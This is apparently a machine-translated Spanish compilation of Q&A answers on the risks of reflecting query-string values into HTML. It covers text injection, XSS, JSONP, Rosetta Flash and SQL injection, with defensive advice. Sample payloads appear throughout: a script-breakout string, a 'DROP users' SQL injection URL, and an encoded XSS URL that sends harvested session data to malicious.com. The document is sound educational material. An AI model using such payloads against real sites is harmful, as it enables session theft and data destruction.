¿La inyección de valores de cadena de consulta directamente en HTML supone un riesgo para la seguridad?

La inyección de texto sin formato es un problema. Digamos que tienes una plantilla de página que se parece a esto:

Hi <name>,

Blah blah blah.

Y puedes inyectar desde la URL.

Un atacante puede crear un correo electrónico con un enlace a www.example.com/ajax/ads.asp?name=Foo%2C+you++ave+the+wrong+version+Flash+plugin%2C+our+company + política + requiere + que + usted + use + versión + vul.ne.rabl.e.% 0D% 0A% 0D% 0AHi% 020Foo (que también se puede minimizar).

Esto hará que su página se vea como:

  

Hola Foo, tienes la versión incorrecta del complemento de Flash, nuestra política de la compañía requiere que uses la versión vul.ne.rabl.e.

     

Hola Foo,

     

Bla bla bla.

El mensaje parece provenir de su sitio y, como los usuarios confían en su sitio, es probable que crean en las instrucciones que "usted" ha dado.

Las secuencias de comandos entre sitios no son una amenaza para la integridad de su servidor web. Más bien, el problema es que un atacante puede crear una URL de site.com que ejecutará JavaScript arbitrario. Si sus usuarios confían en su sitio y le permiten hacer lo que quiera, este podría ser un gran agujero de seguridad.

Imagina que el texto inyectado fuera:

"></script><script>alert("hi");"

que haría que se vea así:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Luego, tienes un script personalizado que funciona y puede hacer lo que quiera en la página.

  

Su punto de contención fue que puede eludir las políticas de dominio cruzado si alguien visita la página con esto:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Sí, tiene razón. Pero eso no parece ser un agujero de seguridad, en cambio, parece una característica. Esta técnica de eludir la misma política de origen se llama JSONP (y está muy bien documentada).

Sin embargo, hay algunas capturas:

• El content-type correcto para las respuestas JSONP es application/javascript , ya que son scripts ejecutables. Ya no es simple JSON.
• Si no conoce JSONP o cómo funciona, es sospechoso que lo esté usando. Si se trata de un error grave, depende de para qué lo esté utilizando:
• JSONP puede ser explotado , ya que esta es su naturaleza. Asegúrese de que no está enviando ningún dato confidencial, solo la información a la que desea tener acceso público.
  Asegúrese de tratar cualquier solicitud de recursos JSONP como si no tuvieran credenciales .

Hay un ataque que usa este vector de ataque exacto, llamado Rosetta Flash ( CVE-2014-4671 ).

Como se explica en la página de Rosetta Flash, la vulnerabilidad es que:

  

1. Con Flash, un archivo SWF puede realizar solicitudes GET y POST que llevan cookies al dominio que lo hospeda , sin verificación de crossdomain.xml . Esta es la razón por la que permitir que los usuarios carguen un archivo SWF en un dominio sensible es peligroso: al cargar un SWF cuidadosamente diseñado, un atacante puede hacer que la víctima realice solicitudes que tengan efectos secundarios y extrate datos confidenciales a un dominio externo controlado por un atacante.

  

2. JSONP , por diseño, permite que un atacante controle los primeros bytes de la salida de un punto final especificando el parámetro callback en la URL de la solicitud .

  

3. Los archivos SWF se pueden incrustar en un dominio controlado por un atacante usando una etiqueta <object> de forzado de Contenido, y se ejecutará como Flash durante todo el tiempo ya que el contenido parece un archivo Flash válido.

  

Esta vulnerabilidad específica se ha mitigado mediante una actualización de Flash Player , pero las versiones anteriores aún son vulnerables, y esta misma técnica podría utilizarse para atacar a otros sistemas.

Generalizando desde esta vulnerabilidad específica: siempre que sea posible, es mejor no permitir que un atacante controle los primeros bytes de cualquier respuesta que envíe, ya que esa es la parte "útil" utilizada por los navegadores y otros clientes para detectar su tipo de contenido , y se sabe que los navegadores anularon Content-Type encabezados basados en contenido detectado en el pasado.

Creo que OP se está enfocando en el lugar equivocado mirando la URL. Se pueden abusar de todos los parámetros GET y POST, independientemente de cómo se llamen. El único código relevante es el que usa este parámetro.

Por ejemplo, puede tener una vulnerabilidad de inyección de SQL si concatena este parámetro en una consulta SQL:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

Un usuario puede visitar:

www.site.com/ajax/ads.asp?callback=0;DROP+users

Tienes una vulnerabilidad XSS si estás haciendo algo como:

return new Response("Hello " + param("callback"))

Un usuario puede visitar:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

Todas estas son variaciones del mismo tema: tratar a todos los idiomas como cadenas, lo que permite mezclarlos. Otros ejemplos son: inyección de shell, inyección de código basada en eval, ruptura de "citas", etc.

También puede diferir estas mismas vulnerabilidades si almacena el parámetro en algún lugar:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))